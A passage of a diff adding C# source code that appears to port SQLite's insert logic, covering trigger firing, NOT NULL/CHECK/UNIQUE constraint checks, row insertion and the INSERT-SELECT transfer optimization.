from R..R+n + ** goto C + ** D: ... + */ + addrCont = sqlite3VdbeAddOp1( v, OP_Yield, dest.iParm ); + addrInsTop = sqlite3VdbeAddOp1( v, OP_If, regEof ); + } + + /* Allocate registers for holding the rowid of the new row, + ** the content of the new row, and the assemblied row record. + */ + regRowid = regIns = pParse.nMem + 1; + pParse.nMem += pTab.nCol + 1; + if ( IsVirtual( pTab ) ) + { + regRowid++; + pParse.nMem++; + } + regData = regRowid + 1; + + /* Run the BEFORE and INSTEAD OF triggers, if there are any + */ + endOfLoop = sqlite3VdbeMakeLabel( v ); +#if !SQLITE_OMIT_TRIGGER + if ( ( tmask & TRIGGER_BEFORE ) != 0 ) + { + int regCols = sqlite3GetTempRange( pParse, pTab.nCol + 1 ); + + /* build the NEW.* reference row. Note that if there is an INTEGER + ** PRIMARY KEY into which a NULL is being inserted, that NULL will be + ** translated into a unique ID for the row. But on a BEFORE trigger, + ** we do not know what the unique ID will be (because the insert has + ** not happened yet) so we substitute a rowid of -1 + */ + if ( keyColumn < 0 ) + { + sqlite3VdbeAddOp2( v, OP_Integer, -1, regCols ); + } + else + { + int j1; + if ( useTempTable ) + { + sqlite3VdbeAddOp3( v, OP_Column, srcTab, keyColumn, regCols ); + } + else + { + Debug.Assert( pSelect == null ); /* Otherwise useTempTable is true */ + sqlite3ExprCode( pParse, pList.a[keyColumn].pExpr, regCols ); + } + j1 = sqlite3VdbeAddOp1( v, OP_NotNull, regCols ); + sqlite3VdbeAddOp2( v, OP_Integer, -1, regCols ); + sqlite3VdbeJumpHere( v, j1 ); + sqlite3VdbeAddOp1( v, OP_MustBeInt, regCols ); + } + /* Cannot have triggers on a virtual table. If it were possible, + ** this block would have to account for hidden column. + */ + Debug.Assert( !IsVirtual( pTab ) ); + /* Create the new column data + */ + for ( i = 0; i < pTab.nCol; i++ ) + { + if ( pColumn == null ) + { + j = i; + } + else + { + for ( j = 0; j < pColumn.nId; j++ ) + { + if ( pColumn.a[j].idx == i ) + break; + } + } + if ( ( !useTempTable && null == pList ) || ( pColumn != null && j >= pColumn.nId ) ) + { + sqlite3ExprCode( pParse, pTab.aCol[i].pDflt, regCols + i + 1 ); + } + else if ( useTempTable ) + { + sqlite3VdbeAddOp3( v, OP_Column, srcTab, j, regCols + i + 1 ); + } + else + { + Debug.Assert( pSelect == null ); /* Otherwise useTempTable is true */ + sqlite3ExprCodeAndCache( pParse, pList.a[j].pExpr, regCols + i + 1 ); + } + } + + /* If this is an INSERT on a view with an INSTEAD OF INSERT trigger, + ** do not attempt any conversions before assembling the record. + ** If this is a real table, attempt conversions as required by the + ** table column affinities. + */ + if ( !isView ) + { + sqlite3VdbeAddOp2( v, OP_Affinity, regCols + 1, pTab.nCol ); + sqlite3TableAffinityStr( v, pTab ); + } + + /* Fire BEFORE or INSTEAD OF triggers */ + sqlite3CodeRowTrigger( pParse, pTrigger, TK_INSERT, null, TRIGGER_BEFORE, + pTab, regCols - pTab.nCol - 1, onError, endOfLoop ); + + sqlite3ReleaseTempRange( pParse, regCols, pTab.nCol + 1 ); + } +#endif + + /* Push the record number for the new entry onto the stack. The +** record number is a randomly generate integer created by NewRowid +** except when the table has an INTEGER PRIMARY KEY column, in which +** case the record number is the same as that column. +*/ + if ( !isView ) + { + if ( IsVirtual( pTab ) ) + { + /* The row that the VUpdate opcode will delete: none */ + sqlite3VdbeAddOp2( v, OP_Null, 0, regIns ); + } + if ( keyColumn >= 0 ) + { + if ( useTempTable ) + { + sqlite3VdbeAddOp3( v, OP_Column, srcTab, keyColumn, regRowid ); + } + else if ( pSelect != null ) + { + sqlite3VdbeAddOp2( v, OP_SCopy, regFromSelect + keyColumn, regRowid ); + } + else + { + VdbeOp pOp; + sqlite3ExprCode( pParse, pList.a[keyColumn].pExpr, regRowid ); + pOp = sqlite3VdbeGetOp( v, -1 ); + if ( ALWAYS( pOp != null ) && pOp.opcode == OP_Null && !IsVirtual( pTab ) ) + { + appendFlag = true; + pOp.opcode = OP_NewRowid; + pOp.p1 = baseCur; + pOp.p2 = regRowid; + pOp.p3 = regAutoinc; + } + } + /* If the PRIMARY KEY expression is NULL, then use OP_NewRowid + ** to generate a unique primary key value. + */ + if ( !appendFlag ) + { + int j1; + if ( !IsVirtual( pTab ) ) + { + j1 = sqlite3VdbeAddOp1( v, OP_NotNull, regRowid ); + sqlite3VdbeAddOp3( v, OP_NewRowid, baseCur, regRowid, regAutoinc ); + sqlite3VdbeJumpHere( v, j1 ); + } + else + { + j1 = sqlite3VdbeCurrentAddr( v ); + sqlite3VdbeAddOp2( v, OP_IsNull, regRowid, j1 + 2 ); + } + sqlite3VdbeAddOp1( v, OP_MustBeInt, regRowid ); + } + } + else if ( IsVirtual( pTab ) ) + { + sqlite3VdbeAddOp2( v, OP_Null, 0, regRowid ); + } + else + { + sqlite3VdbeAddOp3( v, OP_NewRowid, baseCur, regRowid, regAutoinc ); + appendFlag = true; + } + autoIncStep( pParse, regAutoinc, regRowid ); + + /* Push onto the stack, data for all columns of the new entry, beginning + ** with the first column. + */ + nHidden = 0; + for ( i = 0; i < pTab.nCol; i++ ) + { + int iRegStore = regRowid + 1 + i; + if ( i == pTab.iPKey ) + { + /* The value of the INTEGER PRIMARY KEY column is always a NULL. + ** Whenever this column is read, the record number will be substituted + ** in its place. So will fill this column with a NULL to avoid + ** taking up data space with information that will never be used. */ + sqlite3VdbeAddOp2( v, OP_Null, 0, iRegStore ); + continue; + } + if ( pColumn == null ) + { + if ( IsHiddenColumn( pTab.aCol[i] ) ) + { + Debug.Assert( IsVirtual( pTab ) ); + j = -1; + nHidden++; + } + else + { + j = i - nHidden; + } + } + else + { + for ( j = 0; j < pColumn.nId; j++ ) + { + if ( pColumn.a[j].idx == i ) + break; + } + } + if ( j < 0 || nColumn == 0 || ( pColumn != null && j >= pColumn.nId ) ) + { + sqlite3ExprCode( pParse, pTab.aCol[i].pDflt, iRegStore ); + } + else if ( useTempTable ) + { + sqlite3VdbeAddOp3( v, OP_Column, srcTab, j, iRegStore ); + } + else if ( pSelect != null ) + { + sqlite3VdbeAddOp2( v, OP_SCopy, regFromSelect + j, iRegStore ); + } + else + { + sqlite3ExprCode( pParse, pList.a[j].pExpr, iRegStore ); + } + } + + /* Generate code to check constraints and generate index keys and + ** do the insertion. + */ +#if !SQLITE_OMIT_VIRTUALTABLE + if ( IsVirtual( pTab ) ) + { + VTable pVTab = sqlite3GetVTable( db, pTab ); + sqlite3VtabMakeWritable( pParse, pTab ); + sqlite3VdbeAddOp4( v, OP_VUpdate, 1, pTab.nCol + 2, regIns, pVTab, P4_VTAB ); + sqlite3VdbeChangeP5( v, (byte)( onError == OE_Default ? OE_Abort : onError ) ); + sqlite3MayAbort( pParse ); + } + else +#endif + { + int isReplace = 0; /* Set to true if constraints may cause a replace */ + sqlite3GenerateConstraintChecks( pParse, pTab, baseCur, regIns, aRegIdx, + keyColumn >= 0 ? 1 : 0, false, onError, endOfLoop, out isReplace + ); + sqlite3FkCheck( pParse, pTab, 0, regIns ); + sqlite3CompleteInsertion( + pParse, pTab, baseCur, regIns, aRegIdx, false, appendFlag, isReplace == 0 + ); + } + } + + /* Update the count of rows that are inserted + */ + if ( ( db.flags & SQLITE_CountRows ) != 0 ) + { + sqlite3VdbeAddOp2( v, OP_AddImm, regRowCount, 1 ); + } + +#if !SQLITE_OMIT_TRIGGER + if ( pTrigger != null ) + { + /* Code AFTER triggers */ + sqlite3CodeRowTrigger( pParse, pTrigger, TK_INSERT, null, TRIGGER_AFTER, + pTab, regData - 2 - pTab.nCol, onError, endOfLoop ); + } +#endif + + /* The bottom of the main insertion loop, if the data source +** is a SELECT statement. +*/ + sqlite3VdbeResolveLabel( v, endOfLoop ); + if ( useTempTable ) + { + sqlite3VdbeAddOp2( v, OP_Next, srcTab, addrCont ); + sqlite3VdbeJumpHere( v, addrInsTop ); + sqlite3VdbeAddOp1( v, OP_Close, srcTab ); + } + else if ( pSelect != null ) + { + sqlite3VdbeAddOp2( v, OP_Goto, 0, addrCont ); + sqlite3VdbeJumpHere( v, addrInsTop ); + } + + if ( !IsVirtual( pTab ) && !isView ) + { + /* Close all tables opened */ + sqlite3VdbeAddOp1( v, OP_Close, baseCur ); + for ( idx = 1, pIdx = pTab.pIndex; pIdx != null; pIdx = pIdx.pNext, idx++ ) + { + sqlite3VdbeAddOp1( v, OP_Close, idx + baseCur ); + } + } + +insert_end: + /* Update the sqlite_sequence table by storing the content of the + ** maximum rowid counter values recorded while inserting into + ** autoincrement tables. + */ + if ( pParse.nested == 0 && pParse.pTriggerTab == null ) + { + sqlite3AutoincrementEnd( pParse ); + } + + /* + ** Return the number of rows inserted. If this routine is + ** generating code because of a call to sqlite3NestedParse(), do not + ** invoke the callback function. + */ + if ( ( db.flags & SQLITE_CountRows ) != 0 && 0 == pParse.nested && null == pParse.pTriggerTab ) + { + sqlite3VdbeAddOp2( v, OP_ResultRow, regRowCount, 1 ); + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "rows inserted", SQLITE_STATIC ); + } + +insert_cleanup: + sqlite3SrcListDelete( db, ref pTabList ); + sqlite3ExprListDelete( db, ref pList ); + sqlite3SelectDelete( db, ref pSelect ); + sqlite3IdListDelete( db, ref pColumn ); + sqlite3DbFree( db, ref aRegIdx ); + } + + /* Make sure "isView" and other macros defined above are undefined. Otherwise + ** thely may interfere with compilation of other functions in this file + ** (or in another file, if this file becomes part of the amalgamation). */ + //#if isView + // #undef isView + //#endif + //#if pTrigger + // #undef pTrigger + //#endif + //#if tmask + // #undef tmask + //#endif + + /* + ** Generate code to do constraint checks prior to an INSERT or an UPDATE. + ** + ** The input is a range of consecutive registers as follows: + ** + ** 1. The rowid of the row after the update. + ** + ** 2. The data in the first column of the entry after the update. + ** + ** i. Data from middle columns... + ** + ** N. The data in the last column of the entry after the update. + ** + ** The regRowid parameter is the index of the register containing (1). + ** + ** If isUpdate is true and rowidChng is non-zero, then rowidChng contains + ** the address of a register containing the rowid before the update takes + ** place. isUpdate is true for UPDATEs and false for INSERTs. If isUpdate + ** is false, indicating an INSERT statement, then a non-zero rowidChng + ** indicates that the rowid was explicitly specified as part of the + ** INSERT statement. If rowidChng is false, it means that the rowid is + ** computed automatically in an insert or that the rowid value is not + ** modified by an update. + ** + ** The code generated by this routine store new index entries into + ** registers identified by aRegIdx[]. No index entry is created for + ** indices where aRegIdx[i]==0. The order of indices in aRegIdx[] is + ** the same as the order of indices on the linked list of indices + ** attached to the table. + ** + ** This routine also generates code to check constraints. NOT NULL, + ** CHECK, and UNIQUE constraints are all checked. If a constraint fails, + ** then the appropriate action is performed. There are five possible + ** actions: ROLLBACK, ABORT, FAIL, REPLACE, and IGNORE. + ** + ** Constraint type Action What Happens + ** --------------- ---------- ---------------------------------------- + ** any ROLLBACK The current transaction is rolled back and + ** sqlite3_exec() returns immediately with a + ** return code of SQLITE_CONSTRAINT. + ** + ** any ABORT Back out changes from the current command + ** only (do not do a complete rollback) then + ** cause sqlite3_exec() to return immediately + ** with SQLITE_CONSTRAINT. + ** + ** any FAIL Sqlite_exec() returns immediately with a + ** return code of SQLITE_CONSTRAINT. The + ** transaction is not rolled back and any + ** prior changes are retained. + ** + ** any IGNORE The record number and data is popped from + ** the stack and there is an immediate jump + ** to label ignoreDest. + ** + ** NOT NULL REPLACE The NULL value is replace by the default + ** value for that column. If the default value + ** is NULL, the action is the same as ABORT. + ** + ** UNIQUE REPLACE The other row that conflicts with the row + ** being inserted is removed. + ** + ** CHECK REPLACE Illegal. The results in an exception. + ** + ** Which action to take is determined by the overrideError parameter. + ** Or if overrideError==OE_Default, then the pParse.onError parameter + ** is used. Or if pParse.onError==OE_Default then the onError value + ** for the constraint is used. + ** + ** The calling routine must open a read/write cursor for pTab with + ** cursor number "baseCur". All indices of pTab must also have open + ** read/write cursors with cursor number baseCur+i for the i-th cursor. + ** Except, if there is no possibility of a REPLACE action then + ** cursors do not need to be open for indices where aRegIdx[i]==0. + */ + static void sqlite3GenerateConstraintChecks( + Parse pParse, /* The parser context */ + Table pTab, /* the table into which we are inserting */ + int baseCur, /* Index of a read/write cursor pointing at pTab */ + int regRowid, /* Index of the range of input registers */ + int[] aRegIdx, /* Register used by each index. 0 for unused indices */ + int rowidChng, /* True if the rowid might collide with existing entry */ + bool isUpdate, /* True for UPDATE, False for INSERT */ + int overrideError, /* Override onError to this if not OE_Default */ + int ignoreDest, /* Jump to this label on an OE_Ignore resolution */ + out int pbMayReplace /* OUT: Set to true if constraint may cause a replace */ + ) + { + + int i; /* loop counter */ + Vdbe v; /* VDBE under constrution */ + int nCol; /* Number of columns */ + int onError; /* Conflict resolution strategy */ + int j1; /* Addresss of jump instruction */ + int j2 = 0, j3; /* Addresses of jump instructions */ + int regData; /* Register containing first data column */ + int iCur; /* Table cursor number */ + Index pIdx; /* Pointer to one of the indices */ + bool seenReplace = false; /* True if REPLACE is used to resolve INT PK conflict */ + int regOldRowid = ( rowidChng != 0 && isUpdate ) ? rowidChng : regRowid; + + v = sqlite3GetVdbe( pParse ); + Debug.Assert( v != null ); + Debug.Assert( pTab.pSelect == null ); /* This table is not a VIEW */ + nCol = pTab.nCol; + regData = regRowid + 1; + + + /* Test all NOT NULL constraints. + */ + for ( i = 0; i < nCol; i++ ) + { + if ( i == pTab.iPKey ) + { + continue; + } + onError = pTab.aCol[i].notNull; + if ( onError == OE_None ) + continue; + if ( overrideError != OE_Default ) + { + onError = overrideError; + } + else if ( onError == OE_Default ) + { + onError = OE_Abort; + } + if ( onError == OE_Replace && pTab.aCol[i].pDflt == null ) + { + onError = OE_Abort; + } + Debug.Assert( onError == OE_Rollback || onError == OE_Abort || onError == OE_Fail + || onError == OE_Ignore || onError == OE_Replace ); + switch ( onError ) + { + case OE_Abort: + { + sqlite3MayAbort( pParse ); + goto case OE_Fail; + } + case OE_Rollback: + case OE_Fail: + { + string zMsg; + sqlite3VdbeAddOp3( v, OP_HaltIfNull, + SQLITE_CONSTRAINT, onError, regData + i ); + zMsg = sqlite3MPrintf( pParse.db, "%s.%s may not be NULL", + pTab.zName, pTab.aCol[i].zName ); + sqlite3VdbeChangeP4( v, -1, zMsg, P4_DYNAMIC ); + break; + } + case OE_Ignore: + { + sqlite3VdbeAddOp2( v, OP_IsNull, regData + i, ignoreDest ); + break; + } + default: + { + Debug.Assert( onError == OE_Replace ); + j1 = sqlite3VdbeAddOp1( v, OP_NotNull, regData + i ); + sqlite3ExprCode( pParse, pTab.aCol[i].pDflt, regData + i ); + sqlite3VdbeJumpHere( v, j1 ); + break; + } + } + } + + /* Test all CHECK constraints + */ +#if !SQLITE_OMIT_CHECK + if ( pTab.pCheck != null && ( pParse.db.flags & SQLITE_IgnoreChecks ) == 0 ) + { + int allOk = sqlite3VdbeMakeLabel( v ); + pParse.ckBase = regData; + sqlite3ExprIfTrue( pParse, pTab.pCheck, allOk, SQLITE_JUMPIFNULL ); + onError = overrideError != OE_Default ? overrideError : OE_Abort; + if ( onError == OE_Ignore ) + { + sqlite3VdbeAddOp2( v, OP_Goto, 0, ignoreDest ); + } + else + { + if ( onError == OE_Replace ) + onError = OE_Abort; /* IMP: R-15569-63625 */ + sqlite3HaltConstraint( pParse, onError, (string)null, 0 ); + } + sqlite3VdbeResolveLabel( v, allOk ); + } +#endif // * !SQLITE_OMIT_CHECK) */ + + /* If we have an INTEGER PRIMARY KEY, make sure the primary key +** of the new record does not previously exist. Except, if this +** is an UPDATE and the primary key is not changing, that is OK. +*/ + if ( rowidChng != 0 ) + { + onError = pTab.keyConf; + if ( overrideError != OE_Default ) + { + onError = overrideError; + } + else if ( onError == OE_Default ) + { + onError = OE_Abort; + } + + if ( isUpdate ) + { + j2 = sqlite3VdbeAddOp3( v, OP_Eq, regRowid, 0, rowidChng ); + } + j3 = sqlite3VdbeAddOp3( v, OP_NotExists, baseCur, 0, regRowid ); + switch ( onError ) + { + default: + { + onError = OE_Abort; + /* Fall thru into the next case */ + } + goto case OE_Rollback; + case OE_Rollback: + case OE_Abort: + case OE_Fail: + { + sqlite3HaltConstraint( + pParse, onError, "PRIMARY KEY must be unique", P4_STATIC ); + break; + } + case OE_Replace: + { + /* If there are DELETE triggers on this table and the + ** recursive-triggers flag is set, call GenerateRowDelete() to + ** remove the conflicting row from the the table. This will fire + ** the triggers and remove both the table and index b-tree entries. + ** + ** Otherwise, if there are no triggers or the recursive-triggers + ** flag is not set, but the table has one or more indexes, call + ** GenerateRowIndexDelete(). This removes the index b-tree entries + ** only. The table b-tree entry will be replaced by the new entry + ** when it is inserted. + ** + ** If either GenerateRowDelete() or GenerateRowIndexDelete() is called, + ** also invoke MultiWrite() to indicate that this VDBE may require + ** statement rollback (if the statement is aborted after the delete + ** takes place). Earlier versions called sqlite3MultiWrite() regardless, + ** but being more selective here allows statements like: + ** + ** REPLACE INTO t(rowid) VALUES($newrowid) + ** + ** to run without a statement journal if there are no indexes on the + ** table. + */ + Trigger pTrigger = null; + if ( ( pParse.db.flags & SQLITE_RecTriggers ) != 0 ) + { + int iDummy; + pTrigger = sqlite3TriggersExist( pParse, pTab, TK_DELETE, null, out iDummy ); + } + if ( pTrigger != null || sqlite3FkRequired( pParse, pTab, null, 0 ) != 0 ) + { + sqlite3MultiWrite( pParse ); + sqlite3GenerateRowDelete( + pParse, pTab, baseCur, regRowid, 0, pTrigger, OE_Replace + ); + } + else + if ( pTab.pIndex != null ) + { + sqlite3MultiWrite( pParse ); + sqlite3GenerateRowIndexDelete( pParse, pTab, baseCur, 0 ); + } + seenReplace = true; + break; + } + case OE_Ignore: + { + Debug.Assert( !seenReplace ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, ignoreDest ); + break; + } + } + sqlite3VdbeJumpHere( v, j3 ); + if ( isUpdate ) + { + sqlite3VdbeJumpHere( v, j2 ); + } + } + + /* Test all UNIQUE constraints by creating entries for each UNIQUE + ** index and making sure that duplicate entries do not already exist. + ** Add the new records to the indices as we go. + */ + for ( iCur = 0, pIdx = pTab.pIndex; pIdx != null; pIdx = pIdx.pNext, iCur++ ) + { + int regIdx; + int regR; + + if ( aRegIdx[iCur] == 0 ) + continue; /* Skip unused indices */ + + /* Create a key for accessing the index entry */ + regIdx = sqlite3GetTempRange( pParse, pIdx.nColumn + 1 ); + for ( i = 0; i < pIdx.nColumn; i++ ) + { + int idx = pIdx.aiColumn[i]; + if ( idx == pTab.iPKey ) + { + sqlite3VdbeAddOp2( v, OP_SCopy, regRowid, regIdx + i ); + } + else + { + sqlite3VdbeAddOp2( v, OP_SCopy, regData + idx, regIdx + i ); + } + } + sqlite3VdbeAddOp2( v, OP_SCopy, regRowid, regIdx + i ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regIdx, pIdx.nColumn + 1, aRegIdx[iCur] ); + sqlite3VdbeChangeP4( v, -1, sqlite3IndexAffinityStr( v, pIdx ), P4_TRANSIENT ); + sqlite3ExprCacheAffinityChange( pParse, regIdx, pIdx.nColumn + 1 ); + + /* Find out what action to take in case there is an indexing conflict */ + onError = pIdx.onError; + if ( onError == OE_None ) + { + sqlite3ReleaseTempRange( pParse, regIdx, pIdx.nColumn + 1 ); + continue; /* pIdx is not a UNIQUE index */ + } + + if ( overrideError != OE_Default ) + { + onError = overrideError; + } + else if ( onError == OE_Default ) + { + onError = OE_Abort; + } + if ( seenReplace ) + { + if ( onError == OE_Ignore ) + onError = OE_Replace; + else if ( onError == OE_Fail ) + onError = OE_Abort; + } + + + /* Check to see if the new index entry will be unique */ + regR = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp2( v, OP_SCopy, regOldRowid, regR ); + j3 = sqlite3VdbeAddOp4( v, OP_IsUnique, baseCur + iCur + 1, 0, + regR, regIdx,//regR, SQLITE_INT_TO_PTR(regIdx), + P4_INT32 ); + sqlite3ReleaseTempRange( pParse, regIdx, pIdx.nColumn + 1 ); + + /* Generate code that executes if the new index entry is not unique */ + Debug.Assert( onError == OE_Rollback || onError == OE_Abort || onError == OE_Fail + || onError == OE_Ignore || onError == OE_Replace ); + switch ( onError ) + { + case OE_Rollback: + case OE_Abort: + case OE_Fail: + { + int j; + StrAccum errMsg = new StrAccum( 200 ); + string zSep; + string zErr; + + sqlite3StrAccumInit( errMsg, null, 0, 200 ); + errMsg.db = pParse.db; + zSep = pIdx.nColumn > 1 ? "columns " : "column "; + for ( j = 0; j < pIdx.nColumn; j++ ) + { + string zCol = pTab.aCol[pIdx.aiColumn[j]].zName; + sqlite3StrAccumAppend( errMsg, zSep, -1 ); + zSep = ", "; + sqlite3StrAccumAppend( errMsg, zCol, -1 ); + } + sqlite3StrAccumAppend( errMsg, + pIdx.nColumn > 1 ? " are not unique" : " is not unique", -1 ); + zErr = sqlite3StrAccumFinish( errMsg ); + sqlite3HaltConstraint( pParse, onError, zErr, 0 ); + sqlite3DbFree( errMsg.db, ref zErr ); + break; + } + case OE_Ignore: + { + Debug.Assert( !seenReplace ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, ignoreDest ); + break; + } + default: + { + Trigger pTrigger = null; + Debug.Assert( onError == OE_Replace ); + sqlite3MultiWrite( pParse ); + if ( ( pParse.db.flags & SQLITE_RecTriggers ) != 0 ) + { + int iDummy; + pTrigger = sqlite3TriggersExist( pParse, pTab, TK_DELETE, null, out iDummy ); + } + sqlite3GenerateRowDelete( + pParse, pTab, baseCur, regR, 0, pTrigger, OE_Replace + ); + seenReplace = true; + break; + } + } + sqlite3VdbeJumpHere( v, j3 ); + sqlite3ReleaseTempReg( pParse, regR ); + } + //if ( pbMayReplace ) + { + pbMayReplace = seenReplace ? 1 : 0; + } + } + + /* + ** This routine generates code to finish the INSERT or UPDATE operation + ** that was started by a prior call to sqlite3GenerateConstraintChecks. + ** A consecutive range of registers starting at regRowid contains the + ** rowid and the content to be inserted. + ** + ** The arguments to this routine should be the same as the first six + ** arguments to sqlite3GenerateConstraintChecks. + */ + static void sqlite3CompleteInsertion( + Parse pParse, /* The parser context */ + Table pTab, /* the table into which we are inserting */ + int baseCur, /* Index of a read/write cursor pointing at pTab */ + int regRowid, /* Range of content */ + int[] aRegIdx, /* Register used by each index. 0 for unused indices */ + bool isUpdate, /* True for UPDATE, False for INSERT */ + bool appendBias, /* True if this is likely to be an append */ + bool useSeekResult /* True to set the USESEEKRESULT flag on OP_[Idx]Insert */ + ) + { + int i; + Vdbe v; + int nIdx; + Index pIdx; + u8 pik_flags; + int regData; + int regRec; + + v = sqlite3GetVdbe( pParse ); + Debug.Assert( v != null ); + Debug.Assert( pTab.pSelect == null ); /* This table is not a VIEW */ + for ( nIdx = 0, pIdx = pTab.pIndex; pIdx != null; pIdx = pIdx.pNext, nIdx++ ) + { + } + for ( i = nIdx - 1; i >= 0; i-- ) + { + if ( aRegIdx[i] == 0 ) + continue; + sqlite3VdbeAddOp2( v, OP_IdxInsert, baseCur + i + 1, aRegIdx[i] ); + if ( useSeekResult ) + { + sqlite3VdbeChangeP5( v, OPFLAG_USESEEKRESULT ); + } + } + regData = regRowid + 1; + regRec = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regData, pTab.nCol, regRec ); + sqlite3TableAffinityStr( v, pTab ); + sqlite3ExprCacheAffinityChange( pParse, regData, pTab.nCol ); + if ( pParse.nested != 0 ) + { + pik_flags = 0; + } + else + { + pik_flags = OPFLAG_NCHANGE; + pik_flags |= ( isUpdate ? OPFLAG_ISUPDATE : OPFLAG_LASTROWID ); + } + if ( appendBias ) + { + pik_flags |= OPFLAG_APPEND; + } + if ( useSeekResult ) + { + pik_flags |= OPFLAG_USESEEKRESULT; + } + sqlite3VdbeAddOp3( v, OP_Insert, baseCur, regRec, regRowid ); + if ( pParse.nested == 0 ) + { + sqlite3VdbeChangeP4( v, -1, pTab.zName, P4_TRANSIENT ); + } + sqlite3VdbeChangeP5( v, pik_flags ); + } + + /* + ** Generate code that will open cursors for a table and for all + ** indices of that table. The "baseCur" parameter is the cursor number used + ** for the table. Indices are opened on subsequent cursors. + ** + ** Return the number of indices on the table. + */ + static int sqlite3OpenTableAndIndices( + Parse pParse, /* Parsing context */ + Table pTab, /* Table to be opened */ + int baseCur, /* VdbeCursor number assigned to the table */ + int op /* OP_OpenRead or OP_OpenWrite */ + ) + { + int i; + int iDb; + Index pIdx; + Vdbe v; + + if ( IsVirtual( pTab ) ) + return 0; + iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + v = sqlite3GetVdbe( pParse ); + Debug.Assert( v != null ); + sqlite3OpenTable( pParse, baseCur, iDb, pTab, op ); + for ( i = 1, pIdx = pTab.pIndex; pIdx != null; pIdx = pIdx.pNext, i++ ) + { + KeyInfo pKey = sqlite3IndexKeyinfo( pParse, pIdx ); + Debug.Assert( pIdx.pSchema == pTab.pSchema ); + sqlite3VdbeAddOp4( v, op, i + baseCur, pIdx.tnum, iDb, + pKey, P4_KEYINFO_HANDOFF ); +#if SQLITE_DEBUG + VdbeComment( v, "%s", pIdx.zName ); +#endif + } + if ( pParse.nTab < baseCur + i ) + { + pParse.nTab = baseCur + i; + } + return i - 1; + } + + +#if SQLITE_TEST + /* +** The following global variable is incremented whenever the +** transfer optimization is used. This is used for testing +** purposes only - to make sure the transfer optimization really +** is happening when it is suppose to. +*/ +#if !TCLSH + static int sqlite3_xferopt_count = 0; +#else + static tcl.lang.Var.SQLITE3_GETSET sqlite3_xferopt_count = new tcl.lang.Var.SQLITE3_GETSET( "sqlite3_xferopt_count" ); +#endif +#endif // * SQLITE_TEST */ + + +#if !SQLITE_OMIT_XFER_OPT + /* +** Check to collation names to see if they are compatible. +*/ + static bool xferCompatibleCollation( string z1, string z2 ) + { + if ( z1 == null ) + { + return z2 == null; + } + if ( z2 == null ) + { + return false; + } + return z1.Equals( z2 ,StringComparison.InvariantCultureIgnoreCase ) ; + } + + + /* + ** Check to see if index pSrc is compatible as a source of data + ** for index pDest in an insert transfer optimization. The rules + ** for a compatible index: + ** + ** * The index is over the same set of columns + ** * The same DESC and ASC markings occurs on all columns + ** * The same onError processing (OE_Abort, OE_Ignore, etc) + ** * The same collating sequence on each column + */ + static bool xferCompatibleIndex( Index pDest, Index pSrc ) + { + int i; + Debug.Assert( pDest != null && pSrc != null ); + Debug.Assert( pDest.pTable != pSrc.pTable ); + if ( pDest.nColumn != pSrc.nColumn ) + { + return false; /* Different number of columns */ + } + if ( pDest.onError != pSrc.onError ) + { + return false; /* Different conflict resolution strategies */ + } + for ( i = 0; i < pSrc.nColumn; i++ ) + { + if ( pSrc.aiColumn[i] != pDest.aiColumn[i] ) + { + return false; /* Different columns indexed */ + } + if ( pSrc.aSortOrder[i] != pDest.aSortOrder[i] ) + { + return false; /* Different sort orders */ + } + if ( !xferCompatibleCollation( pSrc.azColl[i], pDest.azColl[i] ) ) + { + return false; /* Different collating sequences */ + } + } + + /* If no test above fails then the indices must be compatible */ + return true; + } + + /* + ** Attempt the transfer optimization on INSERTs of the form + ** + ** INSERT INTO tab1 SELECT * FROM tab2; + ** + ** This optimization is only attempted if + ** + ** (1) tab1 and tab2 have identical schemas including all the + ** same indices and constraints + ** + ** (2) tab1 and tab2 are different tables + ** + ** (3) There must be no triggers on tab1 + ** + ** (4) The result set of the SELECT statement is "*" + ** + ** (5) The SELECT statement has no WHERE, HAVING, ORDER BY, GROUP BY, + ** or LIMIT clause. + ** + ** (6) The SELECT statement is a simple (not a compound) select that + ** contains only tab2 in its FROM clause + ** + ** This method for implementing the INSERT transfers raw records from + ** tab2 over to tab1. The columns are not decoded. Raw records from + ** the indices of tab2 are transfered to tab1 as well. In so doing, + ** the resulting tab1 has much less fragmentation. + ** + ** This routine returns TRUE if the optimization is attempted. If any + ** of the conditions above fail so that the optimization should not + ** be attempted, then this routine returns FALSE. + */ + static int xferOptimization( + Parse pParse, /* Parser context */ + Table pDest, /* The table we are inserting into */ + Select pSelect, /* A SELECT statement to use as the data source */ + int onError, /* How to handle constraint errors */ + int iDbDest /* The database of pDest */ + ) + { + ExprList pEList; /* The result set of the SELECT */ + Table pSrc; /* The table in the FROM clause of SELECT */ + Index pSrcIdx, pDestIdx; /* Source and destination indices */ + SrcList_item pItem; /* An element of pSelect.pSrc */ + int i; /* Loop counter */ + int iDbSrc; /* The database of pSrc */ + int iSrc, iDest; /* Cursors from source and destination */ + int addr1, addr2; /* Loop addresses */ + int emptyDestTest; /* Address of test for empty pDest */ + int emptySrcTest; /* Address of test for empty pSrc */ + Vdbe v; /* The VDBE we are building */ + KeyInfo pKey; /* Key information for an index */ + int regAutoinc; /* Memory register used by AUTOINC */ + bool destHasUniqueIdx = false; /* True if pDest has a UNIQUE index */ + int regData, regRowid; /* Registers holding data and rowid */ + + if ( pSelect == null ) + { + return 0; /* Must be of the form INSERT INTO ... SELECT ... */ + } +#if !SQLITE_OMIT_TRIGGER + if ( sqlite3TriggerList( pParse, pDest ) != null ) + { + return 0; /* tab1 must not have triggers */ + } +#endif + + if ( ( pDest.tabFlags & TF_Virtual ) != 0 ) + { + return 0; /* tab1 must not be a virtual table */ + } + if ( onError == OE_Default ) + { + onError = OE_Abort; + } + if ( onError != OE_Abort && onError != OE_Rollback ) + { + return 0; /* Cannot do OR REPLACE or OR IGNORE or OR FAIL */ + } + Debug.Assert( pSelect.pSrc != null ); /* allocated even if there is no FROM clause */ + if ( pSelect.pSrc.nSrc != 1 ) + { + return 0; /* FROM clause must have exactly one term */ + } + if ( pSelect.pSrc.a[0].pSelect != null ) + { + return 0; /* FROM clause cannot contain a subquery */ + } + if ( pSelect.pWhere != null ) + { + return 0; /* SELECT may not have a WHERE clause */ + } + if ( pSelect.pOrderBy != null ) + { + return 0; /* SELECT may not have an ORDER BY clause */ + } + /* Do not need to test for a 